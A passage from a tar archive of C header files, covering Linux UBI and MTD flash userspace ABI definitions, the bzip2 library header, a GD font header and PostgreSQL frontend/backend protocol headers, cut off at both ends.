__s64 bytes; __s32 vol_id; } __attribute__((packed)); /** * struct ubi_rnvol_req - volumes re-name request. * @count: count of volumes to re-name * @padding1: reserved for future, not used, has to be zeroed * @vol_id: ID of the volume to re-name * @name_len: name length * @padding2: reserved for future, not used, has to be zeroed * @name: new volume name * * UBI allows to re-name up to %32 volumes at one go. The count of volumes to * re-name is specified in the @count field. The ID of the volumes to re-name * and the new names are specified in the @vol_id and @name fields. * * The UBI volume re-name operation is atomic, which means that should power cut * happen, the volumes will have either old name or new name. So the possible * use-cases of this command is atomic upgrade. Indeed, to upgrade, say, volumes * A and B one may create temporary volumes %A1 and %B1 with the new contents, * then atomically re-name A1->A and B1->B, in which case old %A and %B will * be removed. * * If it is not desirable to remove old A and B, the re-name request has to * contain 4 entries: A1->A, A->A1, B1->B, B->B1, in which case old A1 and B1 * become A and B, and old A and B will become A1 and B1. * * It is also OK to request: A1->A, A1->X, B1->B, B->Y, in which case old A1 * and B1 become A and B, and old A and B become X and Y. * * In other words, in case of re-naming into an existing volume name, the * existing volume is removed, unless it is re-named as well at the same * re-name request. */ struct ubi_rnvol_req { __s32 count; __s8 padding1[12]; struct { __s32 vol_id; __s16 name_len; __s8 padding2[2]; char name[UBI_MAX_VOLUME_NAME + 1]; } ents[UBI_MAX_RNVOL]; } __attribute__((packed)); /** * struct ubi_leb_change_req - a data structure used in atomic LEB change * requests. * @lnum: logical eraseblock number to change * @bytes: how many bytes will be written to the logical eraseblock * @dtype: pass "3" for better compatibility with old kernels * @padding: reserved for future, not used, has to be zeroed * * The @dtype field used to inform UBI about what kind of data will be written * to the LEB: long term (value 1), short term (value 2), unknown (value 3). * UBI tried to pick a PEB with lower erase counter for short term data and a * PEB with higher erase counter for long term data. But this was not really * used because users usually do not know this and could easily mislead UBI. We * removed this feature in May 2012. UBI currently just ignores the @dtype * field. But for better compatibility with older kernels it is recommended to * set @dtype to 3 (unknown). */ struct ubi_leb_change_req { __s32 lnum; __s32 bytes; __s8 dtype; /* obsolete, do not use! */ __s8 padding[7]; } __attribute__((packed)); /** * struct ubi_map_req - a data structure used in map LEB requests. * @dtype: pass "3" for better compatibility with old kernels * @lnum: logical eraseblock number to unmap * @padding: reserved for future, not used, has to be zeroed */ struct ubi_map_req { __s32 lnum; __s8 dtype; /* obsolete, do not use! */ __s8 padding[3]; } __attribute__((packed)); /** * struct ubi_set_vol_prop_req - a data structure used to set an UBI volume * property. * @property: property to set (%UBI_VOL_PROP_DIRECT_WRITE) * @padding: reserved for future, not used, has to be zeroed * @value: value to set */ struct ubi_set_vol_prop_req { __u8 property; __u8 padding[7]; __u64 value; } __attribute__((packed)); /** * struct ubi_blkcreate_req - a data structure used in block creation requests. * @padding: reserved for future, not used, has to be zeroed */ struct ubi_blkcreate_req { __s8 padding[128]; } __attribute__((packed)); #endif /* __UBI_USER_H__ */ mtd/nftl-user.h 0000644 00000004104 15246445047 0007432 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * Copyright © 1999-2010 David Woodhouse <dwmw2@infradead.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef __MTD_NFTL_USER_H__ #define __MTD_NFTL_USER_H__ #include <linux/types.h> /* Block Control Information */ struct nftl_bci { unsigned char ECCSig[6]; __u8 Status; __u8 Status1; }__attribute__((packed)); /* Unit Control Information */ struct nftl_uci0 { __u16 VirtUnitNum; __u16 ReplUnitNum; __u16 SpareVirtUnitNum; __u16 SpareReplUnitNum; } __attribute__((packed)); struct nftl_uci1 { __u32 WearInfo; __u16 EraseMark; __u16 EraseMark1; } __attribute__((packed)); struct nftl_uci2 { __u16 FoldMark; __u16 FoldMark1; __u32 unused; } __attribute__((packed)); union nftl_uci { struct nftl_uci0 a; struct nftl_uci1 b; struct nftl_uci2 c; }; struct nftl_oob { struct nftl_bci b; union nftl_uci u; }; /* NFTL Media Header */ struct NFTLMediaHeader { char DataOrgID[6]; __u16 NumEraseUnits; __u16 FirstPhysicalEUN; __u32 FormattedSize; unsigned char UnitSizeFactor; } __attribute__((packed)); #define MAX_ERASE_ZONES (8192 - 512) #define ERASE_MARK 0x3c69 #define SECTOR_FREE 0xff #define SECTOR_USED 0x55 #define SECTOR_IGNORE 0x11 #define SECTOR_DELETED 0x00 #define FOLD_MARK_IN_PROGRESS 0x5555 #define ZONE_GOOD 0xff #define ZONE_BAD_ORIGINAL 0 #define ZONE_BAD_MARKED 7 #endif /* __MTD_NFTL_USER_H__ */ mtd/mtd-user.h 0000644 00000002332 15246445047 0007254 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * Copyright © 1999-2010 David Woodhouse <dwmw2@infradead.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef __MTD_USER_H__ #define __MTD_USER_H__ /* This file is blessed for inclusion by userspace */ #include <mtd/mtd-abi.h> typedef struct mtd_info_user mtd_info_t; typedef struct erase_info_user erase_info_t; typedef struct region_info_user region_info_t; typedef struct nand_oobinfo nand_oobinfo_t; typedef struct nand_ecclayout_user nand_ecclayout_t; #endif /* __MTD_USER_H__ */ mtd/inftl-user.h 0000644 00000003154 15246445047 0007607 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Parts of INFTL headers shared with userspace * */ #ifndef __MTD_INFTL_USER_H__ #define __MTD_INFTL_USER_H__ #include <linux/types.h> #define OSAK_VERSION 0x5120 #define PERCENTUSED 98 #define SECTORSIZE 512 /* Block Control Information */ struct inftl_bci { __u8 ECCsig[6]; __u8 Status; __u8 Status1; } __attribute__((packed)); struct inftl_unithead1 { __u16 virtualUnitNo; __u16 prevUnitNo; __u8 ANAC; __u8 NACs; __u8 parityPerField; __u8 discarded; } __attribute__((packed)); struct inftl_unithead2 { __u8 parityPerField; __u8 ANAC; __u16 prevUnitNo; __u16 virtualUnitNo; __u8 NACs; __u8 discarded; } __attribute__((packed)); struct inftl_unittail { __u8 Reserved[4]; __u16 EraseMark; __u16 EraseMark1; } __attribute__((packed)); union inftl_uci { struct inftl_unithead1 a; struct inftl_unithead2 b; struct inftl_unittail c; }; struct inftl_oob { struct inftl_bci b; union inftl_uci u; }; /* INFTL Media Header */ struct INFTLPartition { __u32 virtualUnits; __u32 firstUnit; __u32 lastUnit; __u32 flags; __u32 spareUnits; __u32 Reserved0; __u32 Reserved1; } __attribute__((packed)); struct INFTLMediaHeader { char bootRecordID[8]; __u32 NoOfBootImageBlocks; __u32 NoOfBinaryPartitions; __u32 NoOfBDTLPartitions; __u32 BlockMultiplierBits; __u32 FormatFlags; __u32 OsakVersion; __u32 PercentUsed; struct INFTLPartition Partitions[4]; } __attribute__((packed)); /* Partition flag types */ #define INFTL_BINARY 0x20000000 #define INFTL_BDTL 0x40000000 #define INFTL_LAST 0x80000000 #endif /* __MTD_INFTL_USER_H__ */ mtd/mtd-abi.h 0000644 00000022765 15246445047 0007045 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * Copyright © 1999-2010 David Woodhouse <dwmw2@infradead.org> et al. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA * */ #ifndef __MTD_ABI_H__ #define __MTD_ABI_H__ #include <linux/types.h> struct erase_info_user { __u32 start; __u32 length; }; struct erase_info_user64 { __u64 start; __u64 length; }; struct mtd_oob_buf { __u32 start; __u32 length; unsigned char *ptr; }; struct mtd_oob_buf64 { __u64 start; __u32 pad; __u32 length; __u64 usr_ptr; }; /** * MTD operation modes * * @MTD_OPS_PLACE_OOB: OOB data are placed at the given offset (default) * @MTD_OPS_AUTO_OOB: OOB data are automatically placed at the free areas * which are defined by the internal ecclayout * @MTD_OPS_RAW: data are transferred as-is, with no error correction; * this mode implies %MTD_OPS_PLACE_OOB * * These modes can be passed to ioctl(MEMWRITE) and are also used internally. * See notes on "MTD file modes" for discussion on %MTD_OPS_RAW vs. * %MTD_FILE_MODE_RAW. */ enum { MTD_OPS_PLACE_OOB = 0, MTD_OPS_AUTO_OOB = 1, MTD_OPS_RAW = 2, }; /** * struct mtd_write_req - data structure for requesting a write operation * * @start: start address * @len: length of data buffer * @ooblen: length of OOB buffer * @usr_data: user-provided data buffer * @usr_oob: user-provided OOB buffer * @mode: MTD mode (see "MTD operation modes") * @padding: reserved, must be set to 0 * * This structure supports ioctl(MEMWRITE) operations, allowing data and/or OOB * writes in various modes. To write to OOB-only, set @usr_data == NULL, and to * write data-only, set @usr_oob == NULL. However, setting both @usr_data and * @usr_oob to NULL is not allowed. */ struct mtd_write_req { __u64 start; __u64 len; __u64 ooblen; __u64 usr_data; __u64 usr_oob; __u8 mode; __u8 padding[7]; }; #define MTD_ABSENT 0 #define MTD_RAM 1 #define MTD_ROM 2 #define MTD_NORFLASH 3 #define MTD_NANDFLASH 4 /* SLC NAND */ #define MTD_DATAFLASH 6 #define MTD_UBIVOLUME 7 #define MTD_MLCNANDFLASH 8 /* MLC NAND (including TLC) */ #define MTD_WRITEABLE 0x400 /* Device is writeable */ #define MTD_BIT_WRITEABLE 0x800 /* Single bits can be flipped */ #define MTD_NO_ERASE 0x1000 /* No erase necessary */ #define MTD_POWERUP_LOCK 0x2000 /* Always locked after reset */ /* Some common devices / combinations of capabilities */ #define MTD_CAP_ROM 0 #define MTD_CAP_RAM (MTD_WRITEABLE | MTD_BIT_WRITEABLE | MTD_NO_ERASE) #define MTD_CAP_NORFLASH (MTD_WRITEABLE | MTD_BIT_WRITEABLE) #define MTD_CAP_NANDFLASH (MTD_WRITEABLE) #define MTD_CAP_NVRAM (MTD_WRITEABLE | MTD_BIT_WRITEABLE | MTD_NO_ERASE) /* Obsolete ECC byte placement modes (used with obsolete MEMGETOOBSEL) */ #define MTD_NANDECC_OFF 0 // Switch off ECC (Not recommended) #define MTD_NANDECC_PLACE 1 // Use the given placement in the structure (YAFFS1 legacy mode) #define MTD_NANDECC_AUTOPLACE 2 // Use the default placement scheme #define MTD_NANDECC_PLACEONLY 3 // Use the given placement in the structure (Do not store ecc result on read) #define MTD_NANDECC_AUTOPL_USR 4 // Use the given autoplacement scheme rather than using the default /* OTP mode selection */ #define MTD_OTP_OFF 0 #define MTD_OTP_FACTORY 1 #define MTD_OTP_USER 2 struct mtd_info_user { __u8 type; __u32 flags; __u32 size; /* Total size of the MTD */ __u32 erasesize; __u32 writesize; __u32 oobsize; /* Amount of OOB data per block (e.g. 16) */ __u64 padding; /* Old obsolete field; do not use */ }; struct region_info_user { __u32 offset; /* At which this region starts, * from the beginning of the MTD */ __u32 erasesize; /* For this region */ __u32 numblocks; /* Number of blocks in this region */ __u32 regionindex; }; struct otp_info { __u32 start; __u32 length; __u32 locked; }; /* * Note, the following ioctl existed in the past and was removed: * #define MEMSETOOBSEL _IOW('M', 9, struct nand_oobinfo) * Try to avoid adding a new ioctl with the same ioctl number. */ /* Get basic MTD characteristics info (better to use sysfs) */ #define MEMGETINFO _IOR('M', 1, struct mtd_info_user) /* Erase segment of MTD */ #define MEMERASE _IOW('M', 2, struct erase_info_user) /* Write out-of-band data from MTD */ #define MEMWRITEOOB _IOWR('M', 3, struct mtd_oob_buf) /* Read out-of-band data from MTD */ #define MEMREADOOB _IOWR('M', 4, struct mtd_oob_buf) /* Lock a chip (for MTD that supports it) */ #define MEMLOCK _IOW('M', 5, struct erase_info_user) /* Unlock a chip (for MTD that supports it) */ #define MEMUNLOCK _IOW('M', 6, struct erase_info_user) /* Get the number of different erase regions */ #define MEMGETREGIONCOUNT _IOR('M', 7, int) /* Get information about the erase region for a specific index */ #define MEMGETREGIONINFO _IOWR('M', 8, struct region_info_user) /* Get info about OOB modes (e.g., RAW, PLACE, AUTO) - legacy interface */ #define MEMGETOOBSEL _IOR('M', 10, struct nand_oobinfo) /* Check if an eraseblock is bad */ #define MEMGETBADBLOCK _IOW('M', 11, __kernel_loff_t) /* Mark an eraseblock as bad */ #define MEMSETBADBLOCK _IOW('M', 12, __kernel_loff_t) /* Set OTP (One-Time Programmable) mode (factory vs. user) */ #define OTPSELECT _IOR('M', 13, int) /* Get number of OTP (One-Time Programmable) regions */ #define OTPGETREGIONCOUNT _IOW('M', 14, int) /* Get all OTP (One-Time Programmable) info about MTD */ #define OTPGETREGIONINFO _IOW('M', 15, struct otp_info) /* Lock a given range of user data (must be in mode %MTD_FILE_MODE_OTP_USER) */ #define OTPLOCK _IOR('M', 16, struct otp_info) /* Get ECC layout (deprecated) */ #define ECCGETLAYOUT _IOR('M', 17, struct nand_ecclayout_user) /* Get statistics about corrected/uncorrected errors */ #define ECCGETSTATS _IOR('M', 18, struct mtd_ecc_stats) /* Set MTD mode on a per-file-descriptor basis (see "MTD file modes") */ #define MTDFILEMODE _IO('M', 19) /* Erase segment of MTD (supports 64-bit address) */ #define MEMERASE64 _IOW('M', 20, struct erase_info_user64) /* Write data to OOB (64-bit version) */ #define MEMWRITEOOB64 _IOWR('M', 21, struct mtd_oob_buf64) /* Read data from OOB (64-bit version) */ #define MEMREADOOB64 _IOWR('M', 22, struct mtd_oob_buf64) /* Check if chip is locked (for MTD that supports it) */ #define MEMISLOCKED _IOR('M', 23, struct erase_info_user) /* * Most generic write interface; can write in-band and/or out-of-band in various * modes (see "struct mtd_write_req"). This ioctl is not supported for flashes * without OOB, e.g., NOR flash. */ #define MEMWRITE _IOWR('M', 24, struct mtd_write_req) /* * Obsolete legacy interface. Keep it in order not to break userspace * interfaces */ struct nand_oobinfo { __u32 useecc; __u32 eccbytes; __u32 oobfree[8][2]; __u32 eccpos[32]; }; struct nand_oobfree { __u32 offset; __u32 length; }; #define MTD_MAX_OOBFREE_ENTRIES 8 #define MTD_MAX_ECCPOS_ENTRIES 64 /* * OBSOLETE: ECC layout control structure. Exported to user-space via ioctl * ECCGETLAYOUT for backwards compatbility and should not be mistaken as a * complete set of ECC information. The ioctl truncates the larger internal * structure to retain binary compatibility with the static declaration of the * ioctl. Note that the "MTD_MAX_..._ENTRIES" macros represent the max size of * the user struct, not the MAX size of the internal OOB layout representation. */ struct nand_ecclayout_user { __u32 eccbytes; __u32 eccpos[MTD_MAX_ECCPOS_ENTRIES]; __u32 oobavail; struct nand_oobfree oobfree[MTD_MAX_OOBFREE_ENTRIES]; }; /** * struct mtd_ecc_stats - error correction stats * * @corrected: number of corrected bits * @failed: number of uncorrectable errors * @badblocks: number of bad blocks in this partition * @bbtblocks: number of blocks reserved for bad block tables */ struct mtd_ecc_stats { __u32 corrected; __u32 failed; __u32 badblocks; __u32 bbtblocks; }; /* * MTD file modes - for read/write access to MTD * * @MTD_FILE_MODE_NORMAL: OTP disabled, ECC enabled * @MTD_FILE_MODE_OTP_FACTORY: OTP enabled in factory mode * @MTD_FILE_MODE_OTP_USER: OTP enabled in user mode * @MTD_FILE_MODE_RAW: OTP disabled, ECC disabled * * These modes can be set via ioctl(MTDFILEMODE). The mode mode will be retained * separately for each open file descriptor. * * Note: %MTD_FILE_MODE_RAW provides the same functionality as %MTD_OPS_RAW - * raw access to the flash, without error correction or autoplacement schemes. * Wherever possible, the MTD_OPS_* mode will override the MTD_FILE_MODE_* mode * (e.g., when using ioctl(MEMWRITE)), but in some cases, the MTD_FILE_MODE is * used out of necessity (e.g., `write()', ioctl(MEMWRITEOOB64)). */ enum mtd_file_modes { MTD_FILE_MODE_NORMAL = MTD_OTP_OFF, MTD_FILE_MODE_OTP_FACTORY = MTD_OTP_FACTORY, MTD_FILE_MODE_OTP_USER = MTD_OTP_USER, MTD_FILE_MODE_RAW, }; static __inline__ int mtd_type_is_nand_user(const struct mtd_info_user *mtd) { return mtd->type == MTD_NANDFLASH || mtd->type == MTD_MLCNANDFLASH; } #endif /* __MTD_ABI_H__ */ bzlib.h 0000644 00000014145 15246445047 0006037 0 ustar 00 /*-------------------------------------------------------------*/ /*--- Public header file for the library. ---*/ /*--- bzlib.h ---*/ /*-------------------------------------------------------------*/ /* ------------------------------------------------------------------ This file is part of bzip2/libbzip2, a program and library for lossless, block-sorting data compression. bzip2/libbzip2 version 1.0.6 of 6 September 2010 Copyright (C) 1996-2010 Julian Seward <jseward@bzip.org> Please read the WARNING, DISCLAIMER and PATENTS sections in the README file. This program is released under the terms of the license contained in the file LICENSE. ------------------------------------------------------------------ */ #ifndef _BZLIB_H #define _BZLIB_H #ifdef __cplusplus extern "C" { #endif #define BZ_RUN 0 #define BZ_FLUSH 1 #define BZ_FINISH 2 #define BZ_OK 0 #define BZ_RUN_OK 1 #define BZ_FLUSH_OK 2 #define BZ_FINISH_OK 3 #define BZ_STREAM_END 4 #define BZ_SEQUENCE_ERROR (-1) #define BZ_PARAM_ERROR (-2) #define BZ_MEM_ERROR (-3) #define BZ_DATA_ERROR (-4) #define BZ_DATA_ERROR_MAGIC (-5) #define BZ_IO_ERROR (-6) #define BZ_UNEXPECTED_EOF (-7) #define BZ_OUTBUFF_FULL (-8) #define BZ_CONFIG_ERROR (-9) typedef struct { char *next_in; unsigned int avail_in; unsigned int total_in_lo32; unsigned int total_in_hi32; char *next_out; unsigned int avail_out; unsigned int total_out_lo32; unsigned int total_out_hi32; void *state; void *(*bzalloc)(void *,int,int); void (*bzfree)(void *,void *); void *opaque; } bz_stream; #ifndef BZ_IMPORT #define BZ_EXPORT #endif #ifndef BZ_NO_STDIO /* Need a definitition for FILE */ #include <stdio.h> #endif #ifdef _WIN32 # include <windows.h> # ifdef small /* windows.h define small to char */ # undef small # endif # ifdef BZ_EXPORT # define BZ_API(func) WINAPI func # define BZ_EXTERN extern # else /* import windows dll dynamically */ # define BZ_API(func) (WINAPI * func) # define BZ_EXTERN # endif #else # define BZ_API(func) func # define BZ_EXTERN extern #endif /*-- Core (low-level) library functions --*/ BZ_EXTERN int BZ_API(BZ2_bzCompressInit) ( bz_stream* strm, int blockSize100k, int verbosity, int workFactor ); BZ_EXTERN int BZ_API(BZ2_bzCompress) ( bz_stream* strm, int action ); BZ_EXTERN int BZ_API(BZ2_bzCompressEnd) ( bz_stream* strm ); BZ_EXTERN int BZ_API(BZ2_bzDecompressInit) ( bz_stream *strm, int verbosity, int small ); BZ_EXTERN int BZ_API(BZ2_bzDecompress) ( bz_stream* strm ); BZ_EXTERN int BZ_API(BZ2_bzDecompressEnd) ( bz_stream *strm ); /*-- High(er) level library functions --*/ #ifndef BZ_NO_STDIO #define BZ_MAX_UNUSED 5000 typedef void BZFILE; BZ_EXTERN BZFILE* BZ_API(BZ2_bzReadOpen) ( int* bzerror, FILE* f, int verbosity, int small, void* unused, int nUnused ); BZ_EXTERN void BZ_API(BZ2_bzReadClose) ( int* bzerror, BZFILE* b ); BZ_EXTERN void BZ_API(BZ2_bzReadGetUnused) ( int* bzerror, BZFILE* b, void** unused, int* nUnused ); BZ_EXTERN int BZ_API(BZ2_bzRead) ( int* bzerror, BZFILE* b, void* buf, int len ); BZ_EXTERN BZFILE* BZ_API(BZ2_bzWriteOpen) ( int* bzerror, FILE* f, int blockSize100k, int verbosity, int workFactor ); BZ_EXTERN void BZ_API(BZ2_bzWrite) ( int* bzerror, BZFILE* b, void* buf, int len ); BZ_EXTERN void BZ_API(BZ2_bzWriteClose) ( int* bzerror, BZFILE* b, int abandon, unsigned int* nbytes_in, unsigned int* nbytes_out ); BZ_EXTERN void BZ_API(BZ2_bzWriteClose64) ( int* bzerror, BZFILE* b, int abandon, unsigned int* nbytes_in_lo32, unsigned int* nbytes_in_hi32, unsigned int* nbytes_out_lo32, unsigned int* nbytes_out_hi32 ); #endif /*-- Utility functions --*/ BZ_EXTERN int BZ_API(BZ2_bzBuffToBuffCompress) ( char* dest, unsigned int* destLen, char* source, unsigned int sourceLen, int blockSize100k, int verbosity, int workFactor ); BZ_EXTERN int BZ_API(BZ2_bzBuffToBuffDecompress) ( char* dest, unsigned int* destLen, char* source, unsigned int sourceLen, int small, int verbosity ); /*-- Code contributed by Yoshioka Tsuneo (tsuneo@rr.iij4u.or.jp) to support better zlib compatibility. This code is not _officially_ part of libbzip2 (yet); I haven't tested it, documented it, or considered the threading-safeness of it. If this code breaks, please contact both Yoshioka and me. --*/ BZ_EXTERN const char * BZ_API(BZ2_bzlibVersion) ( void ); #ifndef BZ_NO_STDIO BZ_EXTERN BZFILE * BZ_API(BZ2_bzopen) ( const char *path, const char *mode ); BZ_EXTERN BZFILE * BZ_API(BZ2_bzdopen) ( int fd, const char *mode ); BZ_EXTERN int BZ_API(BZ2_bzread) ( BZFILE* b, void* buf, int len ); BZ_EXTERN int BZ_API(BZ2_bzwrite) ( BZFILE* b, void* buf, int len ); BZ_EXTERN int BZ_API(BZ2_bzflush) ( BZFILE* b ); BZ_EXTERN void BZ_API(BZ2_bzclose) ( BZFILE* b ); BZ_EXTERN const char * BZ_API(BZ2_bzerror) ( BZFILE *b, int *errnum ); #endif #ifdef __cplusplus } #endif #endif /*-------------------------------------------------------------*/ /*--- end bzlib.h ---*/ /*-------------------------------------------------------------*/ gdfontmb.h 0000644 00000001007 15246445047 0006526 0 ustar 00 #ifndef _GDFONTMB_H_ #define _GDFONTMB_H_ 1 #ifdef __cplusplus extern "C" { #endif /* This is a header file for gd font, generated using bdftogd version 0.5 by Jan Pazdziora, adelton@fi.muni.cz from bdf font -misc-fixed-bold-r-normal-sans-13-94-100-100-c-70-iso8859-2 at Thu Jan 8 13:54:57 1998. No copyright info was found in the original bdf. */ #include "gd.h" extern BGD_EXPORT_DATA_PROT gdFontPtr gdFontMediumBold; BGD_DECLARE(gdFontPtr) gdFontGetMediumBold(void); #ifdef __cplusplus } #endif #endif pgsql/internal/libpq/pqcomm.h 0000644 00000015017 15246445047 0012301 0 ustar 00 /*------------------------------------------------------------------------- * * pqcomm.h * Definitions common to frontends and backends. * * NOTE: for historical reasons, this does not correspond to pqcomm.c. * pqcomm.c's routines are declared in libpq.h. * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/include/libpq/pqcomm.h * *------------------------------------------------------------------------- */ #ifndef PQCOMM_H #define PQCOMM_H #include <sys/socket.h> #include <netdb.h> #ifdef HAVE_SYS_UN_H #include <sys/un.h> #endif #include <netinet/in.h> #ifdef HAVE_STRUCT_SOCKADDR_STORAGE #ifndef HAVE_STRUCT_SOCKADDR_STORAGE_SS_FAMILY #ifdef HAVE_STRUCT_SOCKADDR_STORAGE___SS_FAMILY #define ss_family __ss_family #else #error struct sockaddr_storage does not provide an ss_family member #endif #endif #ifdef HAVE_STRUCT_SOCKADDR_STORAGE___SS_LEN #define ss_len __ss_len #define HAVE_STRUCT_SOCKADDR_STORAGE_SS_LEN 1 #endif #else /* !HAVE_STRUCT_SOCKADDR_STORAGE */ /* Define a struct sockaddr_storage if we don't have one. */ struct sockaddr_storage { union { struct sockaddr sa; /* get the system-dependent fields */ int64 ss_align; /* ensures struct is properly aligned */ char ss_pad[128]; /* ensures struct has desired size */ } ss_stuff; }; #define ss_family ss_stuff.sa.sa_family /* It should have an ss_len field if sockaddr has sa_len. */ #ifdef HAVE_STRUCT_SOCKADDR_SA_LEN #define ss_len ss_stuff.sa.sa_len #define HAVE_STRUCT_SOCKADDR_STORAGE_SS_LEN 1 #endif #endif /* HAVE_STRUCT_SOCKADDR_STORAGE */ typedef struct { struct sockaddr_storage addr; ACCEPT_TYPE_ARG3 salen; } SockAddr; /* Configure the UNIX socket location for the well known port. */ #define UNIXSOCK_PATH(path, port, sockdir) \ (AssertMacro(sockdir), \ AssertMacro(*(sockdir) != '\0'), \ snprintf(path, sizeof(path), "%s/.s.PGSQL.%d", \ (sockdir), (port))) /* * The maximum workable length of a socket path is what will fit into * struct sockaddr_un. This is usually only 100 or so bytes :-(. * * For consistency, always pass a MAXPGPATH-sized buffer to UNIXSOCK_PATH(), * then complain if the resulting string is >= UNIXSOCK_PATH_BUFLEN bytes. * (Because the standard API for getaddrinfo doesn't allow it to complain in * a useful way when the socket pathname is too long, we have to test for * this explicitly, instead of just letting the subroutine return an error.) */ #define UNIXSOCK_PATH_BUFLEN sizeof(((struct sockaddr_un *) NULL)->sun_path) /* * These manipulate the frontend/backend protocol version number. * * The major number should be incremented for incompatible changes. The minor * number should be incremented for compatible changes (eg. additional * functionality). * * If a backend supports version m.n of the protocol it must actually support * versions m.[0..n]. Backend support for version m-1 can be dropped after a * `reasonable' length of time. * * A frontend isn't required to support anything other than the current * version. */ #define PG_PROTOCOL_MAJOR(v) ((v) >> 16) #define PG_PROTOCOL_MINOR(v) ((v) & 0x0000ffff) #define PG_PROTOCOL(m,n) (((m) << 16) | (n)) /* The earliest and latest frontend/backend protocol version supported. */ #define PG_PROTOCOL_EARLIEST PG_PROTOCOL(2,0) #define PG_PROTOCOL_LATEST PG_PROTOCOL(3,0) typedef uint32 ProtocolVersion; /* FE/BE protocol version number */ typedef ProtocolVersion MsgType; /* * Packet lengths are 4 bytes in network byte order. * * The initial length is omitted from the packet layouts appearing below. */ typedef uint32 PacketLen; /* * Old-style startup packet layout with fixed-width fields. This is used in * protocol 1.0 and 2.0, but not in later versions. Note that the fields * in this layout are '\0' terminated only if there is room. */ #define SM_DATABASE 64 #define SM_USER 32 /* We append database name if db_user_namespace true. */ #define SM_DATABASE_USER (SM_DATABASE+SM_USER+1) /* +1 for @ */ #define SM_OPTIONS 64 #define SM_UNUSED 64 #define SM_TTY 64 typedef struct StartupPacket { ProtocolVersion protoVersion; /* Protocol version */ char database[SM_DATABASE]; /* Database name */ /* Db_user_namespace appends dbname */ char user[SM_USER]; /* User name */ char options[SM_OPTIONS]; /* Optional additional args */ char unused[SM_UNUSED]; /* Unused */ char tty[SM_TTY]; /* Tty for debug output */ } StartupPacket; extern bool Db_user_namespace; /* * In protocol 3.0 and later, the startup packet length is not fixed, but * we set an arbitrary limit on it anyway. This is just to prevent simple * denial-of-service attacks via sending enough data to run the server * out of memory. */ #define MAX_STARTUP_PACKET_LENGTH 10000 /* These are the authentication request codes sent by the backend. */ #define AUTH_REQ_OK 0 /* User is authenticated */ #define AUTH_REQ_KRB4 1 /* Kerberos V4. Not supported any more. */ #define AUTH_REQ_KRB5 2 /* Kerberos V5. Not supported any more. */ #define AUTH_REQ_PASSWORD 3 /* Password */ #define AUTH_REQ_CRYPT 4 /* crypt password. Not supported any more. */ #define AUTH_REQ_MD5 5 /* md5 password */ #define AUTH_REQ_SCM_CREDS 6 /* transfer SCM credentials */ #define AUTH_REQ_GSS 7 /* GSSAPI without wrap() */ #define AUTH_REQ_GSS_CONT 8 /* Continue GSS exchanges */ #define AUTH_REQ_SSPI 9 /* SSPI negotiate without wrap() */ #define AUTH_REQ_SASL 10 /* Begin SASL authentication */ #define AUTH_REQ_SASL_CONT 11 /* Continue SASL authentication */ #define AUTH_REQ_SASL_FIN 12 /* Final SASL message */ typedef uint32 AuthRequest; /* * A client can also send a cancel-current-operation request to the postmaster. * This is uglier than sending it directly to the client's backend, but it * avoids depending on out-of-band communication facilities. * * The cancel request code must not match any protocol version number * we're ever likely to use. This random choice should do. */ #define CANCEL_REQUEST_CODE PG_PROTOCOL(1234,5678) typedef struct CancelRequestPacket { /* Note that each field is stored in network byte order! */ MsgType cancelRequestCode; /* code to identify a cancel request */ uint32 backendPID; /* PID of client's backend */ uint32 cancelAuthCode; /* secret key to authorize cancel */ } CancelRequestPacket; /* * A client can also start by sending a SSL or GSSAPI negotiation request to * get a secure channel. */ #define NEGOTIATE_SSL_CODE PG_PROTOCOL(1234,5679) #define NEGOTIATE_GSS_CODE PG_PROTOCOL(1234,5680) #endif /* PQCOMM_H */ pgsql/internal/postgres_fe.h 0000644 00000001377 15246445047 0012222 0 ustar 00 /*------------------------------------------------------------------------- * * postgres_fe.h * Primary include file for PostgreSQL client-side .c files * * This should be the first file included by PostgreSQL client libraries and * application programs --- but not by backend modules, which should include * postgres.h. * * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1995, Regents of the University of California * * src/include/postgres_fe.h * *------------------------------------------------------------------------- */ #ifndef POSTGRES_FE_H #define POSTGRES_FE_H #ifndef FRONTEND #define FRONTEND 1 #endif #include "c.h" #include "common/fe_memutils.h" #endif /* POSTGRES_FE_H */ pgsql/internal/c.h 0000644 00000127324 15246445047 0010125 0 ustar 00 /*------------------------------------------------------------------------- * * c.h * Fundamental C definitions. This is included by every .c file in * PostgreSQL (via either postgres.h or postgres_fe.h, as appropriate). * * Note that the definitions here are not intended to be exposed to clients * of the frontend interface libraries --- so we don't worry much about * polluting the namespace with lots of stuff... * * * Portions Copyright (c) 1996-2020, 